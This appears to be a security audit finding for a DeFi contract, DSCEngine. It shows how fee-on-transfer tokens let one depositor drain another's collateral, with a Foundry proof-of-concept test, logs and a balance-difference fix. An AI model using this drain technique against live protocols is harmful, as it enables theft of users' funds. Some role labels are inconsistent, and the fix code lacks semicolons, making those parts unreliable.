Summary
Some ERC20 tokens, such as USDT, allow for charging a fee any time transfer() or transferFrom() is called. If a contract does not allow for amounts to change after transfers, subsequent transfer operations based on the original amount will revert() due to the contract having an insufficient balance. However, a malicious user could also take advantage of this to steal funds from the pool.
Vulnerability Details
Line 148 in DSCEngine.sol.
function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral)
public
moreThanZero(amountCollateral)
isAllowedToken(tokenCollateralAddress)
nonReentrant
{
s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;
emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);
bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);
if (!success) {
revert DSCEngine__TransferFailed();
}
}
function _redeemCollateral(address from, address to, address tokenCollateralAddress, uint256 amountCollateral)
private
{
s_collateralDeposited[from][tokenCollateralAddress] -= amountCollateral;
emit CollateralRedeemed(from, to, tokenCollateralAddress, amountCollateral);
bool success = IERC20(tokenCollateralAddress).transfer(to, amountCollateral);
if (!success) {
revert DSCEngine__TransferFailed();
}
}
Alice sends 100 of FEE token to the contract when calling depositCollateral().
FEE token contract takes 10% of the tokens (10 FEE).
90 FEE tokens actually get deposit in contract.
s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral; will equal 100.
Attacker then sends 100 FEE tokens to the contract
The contract now has 180 FEE tokens but each user has an accounting of 100 FEE.
The attacker then tries to redeem his collateral for the full amount 100 FEE tokens.
The contract will transfer 100 FEE tokens to Bob taking 10 of Alices tokens with him.
Bob can then deposit back into the pool and repeat this until he drains all of Alice's funds.
When Alice attempts to withdraw the transaction will revert due to insufficent funds.
POC
You can see below the ERC20Mock.sol file was edited to include a fee on every transfer.
function transferFrom(
address from,
address to,
uint256 value
) public override returns (bool) {
uint tax = value / 10;
_transfer(from, address(this), tax);
_transfer(from, to, value - tax);
return true;
}
Below is the testCanDepositedCollateralAndGetAccountInfo() which displays a test simulating the attack.
function testCanDepositedCollateralAndGetAccountInfo() public depositedCollateral {
(uint256 totalDscMinted, uint256 collateralValueInUsd) = dsce.getAccountInformation(user);
uint256 expectedDepositedAmount = dsce.getTokenAmountFromUsd(weth, collateralValueInUsd);
console.log("balance of victim before attack",ERC20Mock(weth).balanceOf(user2));
console.log("amountDeposited",amountCollateral);
console.log("balance of contract before attack",ERC20Mock(weth).balanceOf(address(dsce)));
vm.startPrank(user2);
ERC20Mock(weth).approve(address(dsce), amountCollateral);
console.log("amountDeposited by attacker",amountCollateral );
dsce.depositCollateral(weth, amountCollateral);
vm.stopPrank();
console.log("balance of contract after second deposit",ERC20Mock(weth).balanceOf(address(dsce)));
vm.startPrank(user);
console.log("balance of attacker before attack",ERC20Mock(weth).balanceOf(user));
dsce.redeemCollateral(weth, amountCollateral);
console.log("balance of attacker after attack",ERC20Mock(weth).balanceOf(user));
console.log("balance of contract after attack",ERC20Mock(weth).balanceOf(address(dsce)));
vm.stopPrank();
assertEq(totalDscMinted, 0);
assertEq(expectedDepositedAmount, amountCollateral);
}
The results are as so.
Logs:
balance of victim before attack 10000000000000000000
amountDeposited 10000000000000000000
balance of contract before attack 9000000000000000000
amountDeposited by attacker 10000000000000000000
balance of contract after second deposit 18000000000000000000
balance of attacker before attack 10000000000000000000
balance of attacker after attack 10000000000000000000
balance of contract after attack 8000000000000000000
In this case, we would expect the attacker to have 8100000000000000000 due to the fees paid on two transfers however they still have their original 10000000000000000000 which was the amountDeposited. This was taken from the other user in the pool due to bad accounting.
Impact
An attacker can drain all fee on transfer tokens in the protocol.
Tools Used
Manual Review
Recommendations
Measure the contract balance before and after the call to transfer()/transferFrom() and use the difference between the two as the amount, rather than the amount stated
function depositCollateral(address tokenCollateralAddress, uint256 amountCollateral)
public
moreThanZero(amountCollateral)
isAllowedToken(tokenCollateralAddress)
nonReentrant
{
uint256 reserveBefore = IERC20(tokenCollateralAddress).balanceOf(address(this))
emit CollateralDeposited(msg.sender, tokenCollateralAddress, amountCollateral);
bool success = IERC20(tokenCollateralAddress).transferFrom(msg.sender, address(this), amountCollateral);
if (!success) {
revert DSCEngine__TransferFailed();
}
uint256 reserveAfter = IERC20(tokenCollateralAddress).balanceOf(address(this))
amountCollateral = reserveAfter - reserveBefore;
s_collateralDeposited[msg.sender][tokenCollateralAddress] += amountCollateral;
}
